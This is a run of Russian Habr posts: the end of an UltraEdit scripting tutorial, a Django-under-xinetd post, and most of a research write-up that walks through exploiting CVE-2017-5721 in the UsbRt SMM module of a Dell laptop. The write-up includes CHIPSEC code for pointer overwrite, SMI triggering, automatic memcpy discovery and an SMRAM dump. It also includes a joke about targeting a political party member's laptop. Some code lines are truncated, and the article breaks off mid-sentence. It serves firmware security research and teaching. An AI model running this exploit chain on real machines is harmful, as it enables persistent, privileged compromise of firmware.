UltraEdit.messageBox(UltraEdit.activeDocument.selection);` Выделит всю текущую строку и покажет её в алерте. * **messageBox** – метод, замена обычному alert(). * Массив **document**[] – в отличии от **activeDocument** предоставляет возможность обратится к любому из текущих открытых табов по индексу. **Пример**: > `UltraEdit.document[1].write('Hello second tab');` Допишет текст 'Hello second tab' в позицию курсора в тексте на втором табе. Замечание, **document.length** соответственно содержит количество открытых табов. * **getString** – метод ввода информации в скрипт. Пример: > `var str = UltraEdit.getString("Введи символ разделитель",1);` Отобразит окно ввода текста и поместит результат в переменную **str**. * **outputWindow** – Ещё один интересный объект, который позволяет работать не с текстовым, а с дополнительным окном вывода информации, предназначенном для вывода текущей информации и логов. **Пример**: > `UltraEdit.outputWindow.showWindow(true); > > UltraEdit.outputWindow.write("Test outputWindow");` Откроет окно вывода, если оно не показывается и выведет в него текст: 'Test *outputWindow*'. * **newFile** – метод создающий новый, пустой таб. **Пример**: > `UltraEdit.newFile();` Самые интересные на мой взгляд свойства и методы мы рассмотрели. Полное описание всех методов есть в справке к программе, а также на сайте можно найти неплохие примеры скриптов. А теперь несколько простеньких скриптов, которые я предпочитаю всегда держать под рукой --------------------------------------------------------------------------------------- **Замена всех двойных кавычек в выделенном фрагменте текста на одинарные:** > `UltraEdit.activeDocument.mode = 1;//Признак того, что надо работать с выделением > > UltraEdit.activeDocument.findReplace.selectText = true; > > UltraEdit.activeDocument.findReplace.replaceAll = true; > > UltraEdit.activeDocument.findReplace.replace("\"", "'");` **Закоментирование выделенного текста:** > `UltraEdit.activeDocument.cut(); > > UltraEdit.activeDocument.write("/\*"); > > UltraEdit.activeDocument.paste(); > > UltraEdit.activeDocument.write("\*/");` Делал через буфер обмена, потому, что так проще, но нужно помнить, что текущий буфер он перезаписывает. **Как антоним предыдущему скрипту, разкомментирование выделенного текста:** > `UltraEdit.activeDocument.mode = 1;//Признак того, что надо работать с выделением > > UltraEdit.activeDocument.findReplace.selectText = true; > > UltraEdit.activeDocument.findReplace.replaceAll = true; > > UltraEdit.activeDocument.findReplace.replace("/\*", ""); > > UltraEdit.activeDocument.findReplace.replace("\*/", ""); > > > > \* Source code was highlighted with Source Code Highlighter.` Возможностей конечно намного больше, но именно этими скриптами пользуюсь чаще всего. Павел Осипов 17.06.2009.
https://habr.com/ru/post/62392/
null
ru
null
# Django: запуск при помощи xinetd Итак, еще один способ запуска Django. Но зачем? Ведь уже каких только способов запуска нет. Казалось бы на любой вкус. Обоснование и описание — под катом. ### Введение Задумал я одну задумку. А именно, использовать веб приложения в качестве приложений на своем компьютере. Поскольку работаю с Python/Django, естественно и приложения писать используя именно их. Что для этого нужно? Нужно запускать веб приложения с минимумом лишней работы. Все для этого вроде бы есть, Django может работать без сервера баз данных (используя SQLite), есть встроенный devserver, т.е. можно запускать веб приложения не устанавливая и настраивая вебсервер. Но оказалось, что если с SQLite все отлично, то работать используя встроенный devserver не так уж и удобно. Его нужно запускать вручную, что согласитесь, лишние телодвижения. А хотелось бы, чтобы при переходе по ссылке все начинало работать автоматом. Конечно можно запускать devserver при запуске системы, при помощи стартовых скриптов. Но это как-то некрасиво, кушает ресурсы и замедляет старт компа. А если будет много таких приложений? Итак, что хочется? Чтобы веб приложение начинало работать при обращении по его адресу, а при отсутствии обращений лежало бы себе спокойненько на жестком диске. ### Предлагаемое решение Тогда я вспомнил про xinetd. Этот сервер как раз делает то, что очень похоже на мою задачу: * Слушает сконфигурированные порты на локальном хосте. * При обращении по сконфигурированному заранее порту, стартует нужное приложение и передает принятый запрос на стандартный вход приложения. * Запущенное приложение передает ответ на свой стандартный выход, xinetd отдает ответ клиенту. Все хорошо, только тут стандартный вход и выход, а Django общается с вебсервером по протоколу WSGI. ### Скрипт Итак, нужно написать скрипт, который будет с одной стороны общатся с xinetd через stdin/stdout, а с другой стороны, с моим приложением на Django, через WSGI. Скрипт был написан и первая версия размещена на GitHub. Может кого-то он заинтересует, добро пожаловать. Скачать скрипт можно на GitHub: [django-xinetd](http://ekazanov.github.com/django-xinetd/) Установка и настройка описаны в README. ### Заключение Конечно, производительность такого решения ниже, чем с использованием вебсервера, однако меня вполне устраивает. Это первая версия и конечно весьма сырая. Но для простейших случаев пользоваться можно. Чуть не забыл, в качестве платформы используется Linux (Ubuntu). xinetd устанавливается командой: ``` apt-get install xinetd ``` Скрипт написан и испытан с Django v1.4 Это важно, так как в предыдущих версиях отличается работа со статическими файлами. C более ранними версиями, не будут обслуживаться статические файлы.
https://habr.com/ru/post/153165/
null
ru
null
# System Management Mode: From Zero to Hero Исследования в области безопасности UEFI BIOS уже не являются чем-то новомодным, но в последнее время чувствуется некоторый дефицит образовательных материалов по этой теме (особенно — на русском языке). В этой статье мы постараемся пройти весь путь от нахождения уязвимости и до полной компрометации UEFI BIOS. От эксплуатации execute примитива до закрепления в прошивке UEFI BIOS. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/52f/622/ec8/52f622ec8aded14f62513b4d313eb23d.png)Автор статьи Закиров Руслан [@backtrace](/users/backtrace). Предполагается, что читатель уже знаком с основами UEFI BIOS и устройством подсистемы SMM. Тестовый стенд и подготовка к работе ------------------------------------ В качестве подопытного кролика мы взяли ноутбук DELL Inspiron 7567. Причины выбора этого ноутбука следующие: нам известно, что в старой прошивке этого ноутбука есть известная уязвимость CVE-2017-5721, а также он есть у нас в наличии. ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/42e/5ba/277/42e5ba277089d0f55f186dd810a1321e.jpg)Первое, что происходит с ноутбуком при начале исследований - определение местоположения SPI флеш-памяти на материнской плате. Обнаружить этот чип можно визуально после разборки ноутбука. SPI флеш-память практически всегда находится на нижней стороне материнской платы, поэтому полный разбор ноутбука не требуется. Иногда даже достаточно снять крышку для доступа к HDD. ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/072/1c3/7f7/0721c37f7f6ddcc3f14283ff108d344e.jpg)После обнаружения SPI флеш-памяти есть 2 варианта развития событий: 1. Подключаем любым доступным способом флеш-память к программатору напрямую от ноутбука (строго в выключенном состоянии); 2. Выпаиваем этот чип, для того чтобы можно было поместить его в кроватку (адаптер), что позволит быстро переподключать флеш-память от ноутбука к программатору и обратно. ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/0f6/2bb/e24/0f62bbe2421ba887d3186c61a247b83f.jpg)Мы в нашей работе используем универсальный программатор ChipProg-481, но, в целом, подойдёт любой SPI программатор. Наличие программатора необходимо, поскольку ошибка при работе с содержимым флешки может привести к тому, что ноутбук станет "кирпичом". В таком случае восстановление его работоспособности будет возможно лишь при помощи перезаписи содержимого SPI флеш-памяти заранее снятым с нее дампом "до экспериментов". Также наличие программатора позволит заливать модифицированные прошивки со специальным "бэкдором" для расширение возможностей анализа. Наша работа будет производиться над версией прошивки 1.0.5 ([link](https://www.dell.com/support/home/en-us/drivers/driversdetails?driverid=7ydvc&oscode=wt64a&productcode=inspiron-15-7567-laptop)). При отсутствии возможности откатиться до этой версии прошивки вы можете воспользоваться нашим [дампом](https://github.com/Digital-Security/from-zero-to-hero). Работаем с прошивкой -------------------- После снятия дампа с SPI флеш-памяти возникает необходимость открыть этот бинарный файл. Для этой цели существует [UEFITool](https://github.com/LongSoft/UEFITool), который позволяет не только просматривать содержимое прошивки UEFI BIOS, но и производить поиск, извлекать, добавлять, заменять и удалять компоненты прошивки. Функции, связанные с пересборкой прошивки доступны только в Old Engine версии. Для остальных задач лучше использовать New Engine (содержит "NE" в названии файла). Довольно часто нужные кодовые модули EFI можно найти внутри дампа по их названиям (напрмер, UsbRt). Но в некоторых случаях вендоры не сохраняют информацию о названиях модулей в прошивке. В таком случае поиск требуемого модуля следует производить при помощи его GUID, но это сработает только с общеизвестными модулями. Нередко разработчики BIOS добавляют в прошивки проприетарные модули, и при отсутствии информации о названиях модулей приходится придумывать свои собственные. GUID модулей можно найти в следующих источниках: 1. В открытой реализации UEFI [EDKII](https://github.com/tianocore/edk2) 2. В репозитории [(U)EFI Whitelisting Project](https://github.com/abazhaniuk/efi-whitelist) 3. В прошивке UEFI BIOS другого ноутбука, в котором названия модулей сохранены 4. В интегрированных базах различных инструментов и плагинов Инструменты ----------- При анализе модулей наиболее полезными инструментами являются IDA Pro и Ghidra. Но наличие только этих инструментов будет недостаточно. В этих материалах можно подробно узнать об актуальных инструментах при исследовании UEFI BIOS: * [How efiXplorer helping to solve challenges in reverse engineering of UEFI firmware](https://www.youtube.com/watch?v=FFGQJBmRkLw) * [Арсенал исследователя UEFI BIOS](https://www.youtube.com/watch?v=EF1w0CSIyv4) ([слайды](https://dsec.ru/wp-content/uploads/2021/02/dseconair_arsenal-issledovatelya-uefi-bios_e.rasskazov-r.zakirov.pdf)) Нам понадобятся следующие инструменты: * [UEFITool](https://github.com/LongSoft/UEFITool) - о нем говорилось выше * [CHIPSEC](https://github.com/chipsec/chipsec) - при помощи этого фреймворка мы будем разрабатывать наш PoC * [RWEverything](http://rweverything.com/) - очень полезный инструмент, который позволяет взаимодействовать с различными аппаратными ресурсами компьютера, и все это при помощи GUI * Плагины для IDA Pro: [efiXplorer](https://github.com/binarly-io/efiXplorer) и/или [ida-efitools2](https://github.com/p-state/ida-efitools2) * Если вы приверженец Ghidra, то вам понадобится плагин [efiSeek](https://github.com/DSecurity/efiSeek) * Для обработки дампа SMRAM нам понадобится скрипт [smram\_parse](https://github.com/Cr4sh/smram_parse) Это не исчерпывающий, но достаточный список инструментов этой тематики. Как можно заметить, все перечисленные инструменты относятся к типу инструментов статического анализа. Как же обстоят дела с инструментами динамического анализа? Можно рассмотреть следующий список актуальных инструментов: * [efi\_dxe\_emulator](https://github.com/assafcarlsbad/efi_dxe_emulator) * [qiling](https://qiling.io/) Несмотря на существование подобных инструментов и их активное развитие, в практическом плане при поиске уязвимостей в подсистеме SMM они представляют нулевую ценность, поскольку ориентированы на эмуляцию фаз PEI и DXE. В таком случае появляется вопрос: как же производить отладку? Отладку можно производить при помощи технологии Intel DCI. Информацию об использовании данной технологии можно получить из следующих материалов: * [Tapping into the Core](https://www.slideshare.net/phdays/tapping-into-the-core) * [Debug UEFI code by single-stepping your Coffee Lake-S hardware CPU](https://casualhacking.io/blog/2019/6/2/debug-uefi-code-by-single-stepping-your-coffee-lake-s-hardware-cpu) * [Debugging System with DCI and Windbg](https://standa-note.blogspot.com/2021/03/debugging-system-with-dci-and-windbg.html) Проблема этой технологии в том, что работает она далеко не везде. Поэтому отладка зачастую производится методом проб и ошибок. Ищем уязвимость --------------- ### UsbRt Попробуем самостоятельно найти уязвимость в модуле UsbRt. Для начала откроем дамп BIOS в UEFITool, после чего сделаем поиск по тексту "UsbRt", и обнаружим, что это название в прошивке отсутстует (вендор не оставил информацию о названиях модулей) либо называется он по-другому. Произведя поиск в различных источниках (например, [здесь](https://github.com/abazhaniuk/efi-whitelist/blob/master/json/efi_dell.json)) мы определяем, что модулю UsbRt соответствует GUID 04EAAAA1-29A1-11D7-8838-00500473D4EB. Теперь, при помощи поиска по GUID, мы можем извлечь соответствующую секцию образа PE32. На самом деле UEFITool содержит в себе базу общеизвестных GUID-ов, но надпись "USBRT" пришлось бы искать глазами, поскольку поиск по тексту не включает в себя записи из базы GUID-ов. Здесь и далее будет использоваться инструмент IDA Pro с указанными выше плагинами, но все необходимые манипуляции доступны и в Ghidra. После открытия модуля UsbRt в IDA Pro нам необходимо найти обработчик software прерываний. Чаще всего все достаточно просто - после отработки плагина ida-efitools2 функция уже подписана как "DispatchFunction". ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/691/95a/f57/69195af57978ae394b3d2f083c72cec3.png)Но в данном случае эта функция относится к протоколу EFI\_SMM\_USB\_DISPATCH2\_PROTOCOL, который нас не сильно интересует. Нам следует отталкиваться от перекрестных ссылок на EFI\_SMM\_SW\_DISPATCH2\_PROTOCOL\_GUID, чтобы определить место использования интересующего нас протокола. Так мы сможем понять какая функция регистрируется в качестве обработчика software прерываний. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/832/ffe/8cc/832ffe8cc1e808805d58d17cbcd32919.png)Я назвал обнаруженный обработчик как "SwDispatchFunction". Также можно заметить, что этому обработчику соответствует SMI прерывание #31h. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/bd8/871/b20/bd8871b2035a56f50ef78d9f4fd719e6.png)Здесь стоит обратить внимание на некий глобальный указатель на структуру "usb\_data", на основе которой происходит много операций. Из неё же извлекается структура "request", откуда в свою очередь извлекается некий индекс. Ниже можно заметить, что на основе индекса происходит вызов функции из массива. ``` .code:0000000080000E80 funcs_1C42 dq offset sub_80001F74 ; DATA XREF: sub_8000191C+259↓o .code:0000000080000E80 ; SwDispatchFunction:loc_80001C35↓o ... .code:0000000080000E80 dq offset sub_80002028 .code:0000000080000E80 dq offset sub_80002030 .code:0000000080000E80 dq offset sub_8000205C .code:0000000080000E80 dq offset sub_8000205C .code:0000000080000E80 dq offset sub_8000205C .code:0000000080000E80 dq offset sub_80002064 .code:0000000080000E80 dq offset sub_800020B0 .code:0000000080000E80 dq offset sub_80001F38 .code:0000000080000E80 dq offset sub_8000205C .code:0000000080000E80 dq offset sub_8000205C .code:0000000080000E80 dq offset sub_8000205C .code:0000000080000E80 dq offset sub_80002938 .code:0000000080000E80 dq offset sub_80002E58 .code:0000000080000E80 dq offset sub_80003080 .code:0000000080000E80 dq offset sub_800030D8 .code:0000000080000E80 dq offset sub_800029AC .code:0000000080000E80 dq offset sub_80002B18 .code:0000000080000E80 dq offset sub_80002B20 .code:0000000080000E80 dq offset sub_80002D08 .code:0000000080000E80 dq offset sub_80002D5C .code:0000000080000E80 dq offset sub_80008888 .code:0000000080000E80 dq offset sub_80002C84 .code:0000000080000E80 dq offset sub_80002EB0 ``` Сделаем вид, что просмотрели все 24 функции, и наибольший интерес у нас вызвала функция с индексом 14 (sub\_80003080), которую назовём как "subfunc\_14". ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/4e1/849/4a0/4e18494a014d7d4b4fccfd6a22a26ccd.png)Функция, после нескольких арифметических операций, извлекает и передает указатель из структуры usb\_data в следующую функцию: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/84c/a71/61e/84ca7161e7d442e6696515abe4be4894.png)Здесь мы обнаруживаем просто изумительную функцию! Помимо возможности исполнить произвольный адрес эта функция так же позволяет передать вплоть до 7 аргументов! Но главный вопрос - можем ли мы управлять передаваемым указателем? Приступим к изучению указателя usb\_data. Список перекрестных ссылок не оставляет никаких надежд усомниться в местонахождении инициализации данного указателя: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/7f7/638/ddd/7f7638ddd90648cadb9b15c1afecd321.png)Судя по всему, нам придётся искать модуль, который производит установку протокола EFI\_USB\_PROTOCOL (сразу после того как убедились, что этот протокол не устанавливается в модуле UsbRt): ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/0a2/8a0/7b4/0a28a07b42decd426dd630f025405031.png)На данном этапе, возможно, уместно было бы воспользоваться плагином efiXplorer для поиска нужного модуля, но мы сделаем по старинке. Копируем GUID интересующего нас протокола (ida-efitools2 позволяет это делать при помощи горячей клавиши Ctrl-Alt-G) либо извлекаем соответствующие этому GUID байты. Полученную информацию используем для поиска в прошивке при помощи UEFITool (ставим галочку Header and body). ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/c5b/915/af1/c5b915af15d51e70e045d5b0a9d38b00.png)Сразу можно отсечь модули, у которых вхождения не только в PE32, но и в "MM dependecy section" (секция зависимостей модуля), поскольку модуль не может одновременно предоставлять протокол и зависеть от него.На выбор остаётся Bds, SBDXE, Setup, CsmDxe, UHCD, KbcEmul и некий безымянный модуль. Можно бегло просмотреть все эти модули на предмет установки протокола EFI\_USB\_PROTOCOL, но что-то мне подсказывает, что первая буква в аббревиатуре UHCD означает Usb, поэтому перейдем сразу к нему. ### UHCD ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/6d7/9ca/830/6d79ca830162fc3b725b5237799ecc75.png)EFI\_USB\_PROTOCOL действительно устанавливается в этом модуле. Тут же мы видим указатель usb\_data. Также важно отметить, что в первое поле структуры EFI\_USB\_PROTOCOL записывается сигнатура "USBP" ('PBSU' при обратном порядке байтов). Осталось понять, откуда берётся usb\_data. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/29c/8a0/76c/29c8a076c5f21f4bd25ae87c5f18c37b.png)Структура аллоцируется при помощи той же функции, что и в случае с EFI\_USB\_PROTOCOL. Также устанавливается сигнатура "$UDA" (Usb DAta?). Как же происходит аллокация памяти? ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/51d/6f2/7bb/51d6f27bb1174151b9facfd94fec3bf7.png)Вот где собака зарыта! Память выделяется при помощи EFI\_BOOT\_SERVICES, т.е. в фазе DXE. Это значит, что память не размещена внутри SMRAM, поэтому ОС имеет полный доступ к этой памяти, осталось только найти нужные структуры в ней. Тут не помешает отметить, что память выделяется с типом "AllocateMaxAddress", из-за чего с высокой долей вероятности выделенный буфер будет располагаться где-то неподалеку от начала SMRAM. Прототипируем эксплоит ---------------------- У нас начинает вырисовываться следующий алгоритм эксплуатации обнаруженной уязвимости: 1. Ищем в памяти сигнатуру "$UDA" - так мы установим расположение структуры usb\_data; 2. По определенному смещению заменяем указатель в структуре на подконтрольный адрес; 3. Также обновляем структуру request в usb\_data, чтобы вынудить обработчик исполнить subfunc\_14; 4. В той же структуре можно указать буфер с нашими аргументами для вызываемой функции; 5. Генерируем software прерывание #31h. Для всех перечисленных действий нам потребуется привилегии ядра (Ring 0). Но писать эксплоит в виде системного драйвера выглядит довольно трудозатратно и долго. Под эту задачу идеально подходит фреймворк CHIPSEC, который написан на Python, и который имеет все необходимые примитивы по работе с физической памятью, PCI, прерываниями и прочими аппаратными функциями. CHIPSEC для доступа к аппаратным ресурсам использует собственный самоподписанный системный драйвер. Из-за этого ОС необходимо переключать в тестовый режим. Но CHIPSEC также позволяет использовать драйвер RWEverything, который имеет валидную цифровую подпись. Этот вариант имеет некоторые подводные камни, как, например, ограничение на размер выделяемой физической памяти, который не может превышать 0x10000 байт. Инициализация и генерирование прерывания через фреймворк CHIPSEC выглядит следующим образом: ``` import chipsec.chipset from chipsec.hal.interrupts import Interrupts SMI_USB_RUNTIME = 0x31 cs = chipsec.chipset.cs() cs.init(None, None, True, True) intr = Interrupts(cs) intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0) ``` Приступим к поиску usb\_data в памяти. ``` mem_read = cs.helper.read_physical_mem mem_write = cs.helper.write_physical_mem mem_alloc = cs.helper.alloc_physical_mem PAGE_SIZE = 0x1000 SMRAM = cs.cpu.get_SMRAM()[0] for addr in range(SMRAM // PAGE_SIZE - 1, 0, -1): if mem_read(addr * PAGE_SIZE, 4) == b'$UDA': usb_data = addr * PAGE_SIZE break ``` Мы пользуемся особенностью памяти, выделенной по типу AllocateMaxAddress, производя поиск от SMRAM в обратном порядке. Также нет смысла сверять каждый байт, поскольку для этого буфера выделялись страницы памяти, поэтому шагаем по 4096 байт. Теперь подготовим нашу структуру request и обновим соответствующий указатель в usb\_data: ``` struct_addr = mem_alloc(PAGE_SIZE, 0xffffffff)[1] mem_write(struct_addr, PAGE_SIZE, '\x00' * PAGE_SIZE) # очистим структуру mem_write(struct_addr + 0x0, 1, '\x2d') # здесь указываем номер функции, которую мы хотим вызвать, + 0x19 mem_write(struct_addr + 0xb, 1, '\x10') # поправка на ветер # по этому смещению UsbRt берёт указатель на структуру request mem_write(usb_data + 0x64E0, 8, pack(' ``` И самое интересное - изменяем указатель по смещению 0x78 (именно такое значение получается после всех вычислений в функции subfunc\_14) в структуре usb\_data. Модуль UsbRt затем попытается его исполнить в процессе обработки прерывания. ``` bad_ptr = 0x12345678 func_offset = 0x78 mem_write(usb_data + func_offset, 8, pack(' ``` По исполнению этого кода можно заметить, что система намертво зависла. Но дело совсем не в том, что по адресу 0x12345678 располагается невесть что, а в том, что произошло аппаратное исключение Machine Check Exception. Наступило оно по причине того, что современные платформы предотвращают исполнение SMM кода вне региона SMRAM (SMM\_Code\_Chk\_En). Обойти это ограничение относительно легко - достаточно посмотреть адрес функции memcpy в модуле UsbRt (или любом другом) в дампе SMRAM. Но без дампа SMRAM адрес так просто не узнать. И здесь мы переходим ко второй части этой статьи. Создаем полноценный эксплоит ---------------------------- Главный минус текущего варианта эксплоита в том, что он позволяешь лишь исполнить код по указанному адресу. Для свободы действий необходимо придумать способ развить эксплоит до полноценного read-write-execute примитива. Мы можем исполнить любой код в SMRAM, но мы не знаем расположение функций внутри SMRAM. Значит, нужно самостоятельно определить базовый адрес какого-либо модуля. И уже относительно этого базового адреса мы сможем получить адрес интересующей нас функции (memcpy, например). ### Полезные структуры Как мы уже могли заметить, часть используемых данных при работе SMM хранится вне SMRAM. Некоторые структуры инициализируются в процессе работы фазы DXE, и по завершению этой фазы остаются висеть мертвым грузом в зарезервированной памяти, лишая ОС возможности воспользоваться ей. В таких структурах иногда можно обнаружить указатели в область SMRAM. При изучении происхождения этих структур можно наткнуться на очень полезные указатели. Хорошим примером такой структуры является SMM\_CORE\_PRIVATE\_DATA. Даже название уже интригует. Эти "приватные данные" легко находятся по сигнатуре "smmc" в зарезервированных областях памяти. Структура описана в [репозитории EDK2](https://github.com/tianocore/edk2/blob/master/MdeModulePkg/Core/PiSmmCore/PiSmmCorePrivateData.h): ``` typedef struct { UINTN Signature; /// /// The ImageHandle passed into the entry point of the SMM IPL. This ImageHandle /// is used by the SMM Core to fill in the ParentImageHandle field of the Loaded /// Image Protocol for each SMM Driver that is dispatched by the SMM Core. /// EFI_HANDLE SmmIplImageHandle; /// /// The number of SMRAM ranges passed from the SMM IPL to the SMM Core. The SMM /// Core uses these ranges of SMRAM to initialize the SMM Core memory manager. /// UINTN SmramRangeCount; /// /// A table of SMRAM ranges passed from the SMM IPL to the SMM Core. The SMM /// Core uses these ranges of SMRAM to initialize the SMM Core memory manager. /// EFI_SMRAM_DESCRIPTOR *SmramRanges; /// /// The SMM Foundation Entry Point. The SMM Core fills in this field when the /// SMM Core is initialized. The SMM IPL is responsible for registering this entry /// point with the SMM Configuration Protocol. The SMM Configuration Protocol may /// not be available at the time the SMM IPL and SMM Core are started, so the SMM IPL /// sets up a protocol notification on the SMM Configuration Protocol and registers /// the SMM Foundation Entry Point as soon as the SMM Configuration Protocol is /// available. /// EFI_SMM_ENTRY_POINT SmmEntryPoint; /// /// Boolean flag set to TRUE while an SMI is being processed by the SMM Core. /// BOOLEAN SmmEntryPointRegistered; /// /// Boolean flag set to TRUE while an SMI is being processed by the SMM Core. /// BOOLEAN InSmm; /// /// This field is set by the SMM Core then the SMM Core is initialized. This field is /// used by the SMM Base 2 Protocol and SMM Communication Protocol implementations in /// the SMM IPL. /// EFI_SMM_SYSTEM_TABLE2 *Smst; /// /// This field is used by the SMM Communication Protocol to pass a buffer into /// a software SMI handler and for the software SMI handler to pass a buffer back to /// the caller of the SMM Communication Protocol. /// VOID *CommunicationBuffer; /// /// This field is used by the SMM Communication Protocol to pass the size of a buffer, /// in bytes, into a software SMI handler and for the software SMI handler to pass the /// size, in bytes, of a buffer back to the caller of the SMM Communication Protocol. /// UINTN BufferSize; /// /// This field is used by the SMM Communication Protocol to pass the return status from /// a software SMI handler back to the caller of the SMM Communication Protocol. /// EFI_STATUS ReturnStatus; EFI_PHYSICAL_ADDRESS PiSmmCoreImageBase; UINT64 PiSmmCoreImageSize; EFI_PHYSICAL_ADDRESS PiSmmCoreEntryPoint; } SMM_CORE_PRIVATE_DATA; ``` В нашем случае нам бы очень пригодился указатель PiSmmCoreImageBase, по которому располагается модуль PiSmmCore. К сожалению, наша система старовата, и настоящая структура не совсем соответствует описанию. До некоторого момента последних трёх указателей в этой структуре не существовало, как можно заметить [в репозитории](https://github.com/tianocore/edk2/blob/5657b268e71cd78ddbdfd2be7774289bfab03ea6/MdeModulePkg/Core/PiSmmCore/PiSmmCorePrivateData.h). В таком случае мы вынуждены прибегнуть к иному способу. ### Иной способ Мы уже знаем, что в памяти располагаются структуры usb\_data и usb\_protocol. Вполне возможно, что эти структуры содержат указатели на функции внутри модуля UsbRt. Если мы вернёмся к месту инициализации указателя usb\_data в модуле UsbRt, то можем заметить, что в коде происходит замена некоторых указателей в протоколе EFI\_USB\_PROTOCOL: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/2b4/947/02b/2b494702b3dce613e95cc8856467475c.png)Указателями являются функции модуля UsbRt - как раз то, что нам надо. Сконцентрируемся на указателе по смещению +0x50 (+0xA), поскольку он наиболее близок к базовому адресу (это пока не важно). Извлечь этот указатель достаточно просто: ``` for addr in range(SMRAM // PAGE_SIZE - 1, 0, -1): if mem_read(addr * PAGE_SIZE, 4) == b'USBP': usb_protocol = addr * PAGE_SIZE break funcptr = unpack(' ``` А теперь всё просто: открываем UsbRt в дизассемблере, сопоставляем виртуальный адрес функции с фактическим, находим функцию memcpy, вычисляем разницу между двумя функциями, прибавляем разницу к фактическому адресу полученной функции. Физический адрес функции memcpy получен! Наш эксплоит теперь можно дополнить. Мы можем, например, сделать полный дамп SMRAM. И возможность передавать аргументы наконец пригодилась: ``` memcpy = 0x8d5afdb0 src = cs.cpu.get_SMRAM()[0] # начало SMRAM cnt = cs.cpu.get_SMRAM()[2] # размер SMRAM dst = mem_alloc(cnt, 0xffffffff)[1] argc = 3 argv = mem_alloc(argc << 3, 0xffffffff)[1] mem_write(argv, 8, dst) mem_write(argv + 8, 8, src) mem_write(argv + 0x10, 8, cnt) struct_addr = mem_alloc(PAGE_SIZE, 0xffffffff)[1] mem_write(struct_addr, PAGE_SIZE, '\x00' * PAGE_SIZE) # очистим структуру mem_write(struct_addr + 0x0, 1, '\x2d') # здесь указываем номер функции, которую мы хотим вызвать, + 0x19 mem_write(struct_addr + 0xb, 1, '\x10') # поправка на ветер mem_write(struct_addr + 0x3, 8, pack(' ``` Дамп SMRAM получили. Но на душе все равно как-то гадко. Мы ведь вручную сопоставили адреса функций и посчитали разницу до функции memcpy. Нельзя ли сделать это автоматически? ### Автоматизируем вычисления Давайте представим, что мы эксплуатируем ноутбук какого-нибудь члена Национального комитета Демократической партии США. Нам не до сопоставления функций, нужно сделать все в один клик. Более того, нельзя просто взять и положить рядом извлеченный модуль UsbRt. Версия может же отличаться. Для извлечения актуальной версии модуля идеально подходит специальный регион физической памяти, в которой расположена отображённая на память (memory mapped) флеш-память. Смапленную флеш-память можно прочитать в самом конце 4 ГБ-ного пространства физической памяти. Начало региона зависит от размера флеш-памяти. Для нас достаточно знать начало и размер BIOS региона. В этом нам поможет регистр BIOS\_BFPREG, который находится в SPIBAR. В нем хранятся значения базового смещения и предела BIOS региона внутри флеш-памяти. Это позволяет нам вычислить размер BIOS региона. Поскольку BIOS регион принято хранить последним, то на основе размера этого региона можно определить физический адрес региона в смапленной флеш-памяти. ``` base = cs.read_register_field('BFPR', 'PRB') << 12 limit = cs.read_register_field('BFPR', 'PRL') << 12 bios_size = limit - base + 0x1000 bios_addr = 2**32 - bios_size ``` Благодаря широким возможностям фреймворка CHIPSEC у нас есть возможность в автоматизированном режиме распаковать считанную из памяти часть прошивки и извлечь необходимый модуль. ``` from uuid import UUID from chipsec.hal.uefi import UEFI from chipsec.hal.spi_uefi import build_efi_model, search_efi_tree, EFI_MODULE, EFI_SECTION SECTION_PE32 = 0 USBRT_GUID = UUID(hex='04EAAAA1-29A1-11D7-8838-00500473D4EB') uefi = UEFI(cs) bios_data = mem_read(bios_addr, bios_size) def callback(self, module: EFI_MODULE): # PE32 секция сама по себе не имеет GUID, нужно обращаться к родителю guid = module.Guid or cast(EFI_SECTION, module).parentGuid return UUID(hex=guid) == USBRT_GUID tree = build_efi_model(uefi, bios_data, None) modules = search_efi_tree(tree, callback, SECTION_PE32, False) usbrt = modules[0].Image[module.HeaderSize:] ``` Далее пойдёт очень хитрая математика: * У нас есть указатель на функцию из UsbRt, который был наиболее близок к базовому адресу модуля (вот теперь это стало важно); * Из него можно вычесть смещение входной точки, что приблизит нас к нашей цели; * Осталось вычислить разницу между входной точкой и имеющейся функцией; * Для начала можно выравнить указатель вверх до 0x1000 байт, все равно базовый адрес тоже будет выравнен; * Затем можно вычесть 0x2000 байт. Почему именно это число? Оно было установлено путем обсервации прошивок других версий и других вендоров. ``` def align_up(x, a): a -= 1 return ((x + a) & ~a) nthdr_off, = unpack_from('=I', usbrt, 0x3c) ep, = unpack_from('=I', usbrt, nthdr_off + 0x28) imagebase = funcptr imagebase -= ep imagebase = align_up(imagebase, 0x1000) imagebase -= 0x2000 ``` Кстати, занимательный факт: в UEFI модулях SectionAlignment равняется FileAlignment (0x20), из-за чего все смещения внутри файла на диске совпадают со смещениями в образе модуля в памяти. Это сделано для экономии места в регионе SMRAM. Базовый адрес получен. Дело за малым - определить функцию memcpy. В прошивках UEFI используется memcpy, которая реализована в EDK2 (она на самом деле называется CopyMem). Поэтому она должна совпадать у всех вендоров. Так что будет достаточно безопасно реализовать поиск функции по начальным опкодам. ``` import re PUSH_RSI_PUSH_RDI = b'\x56\x57' REP_MOVSQ = b'\xf3\x48\xa5' # ищем rep movsq for m in re.finditer(REP_MOVSQ, usbrt): rep_off = m.start() # теперь в обратном направлении push rsi; push rdi (начало функции) entry_off = usbrt.rfind(PUSH_RSI_PUSH_RDI, 0, rep_off) # на всякий случай проверяем разницу между найденными опкодами if rep_off - entry_off > 0x40: # не походит на правду, пропустим от греха подальше continue memcpy = imagebase + entry_off break ``` Теперь в нашем арсенале полностью автоматизированный эксплоит, позволяющий не только исполнять код внутри SMRAM, но и произвольно читать и писать в любую область физической памяти. Куда двигаться дальше --------------------- Возможность свободно взаимодействовать с памятью SMRAM - это, конечно, здорово. Но без возможности закрепиться в прошивке полноценная атака не получится, поскольку 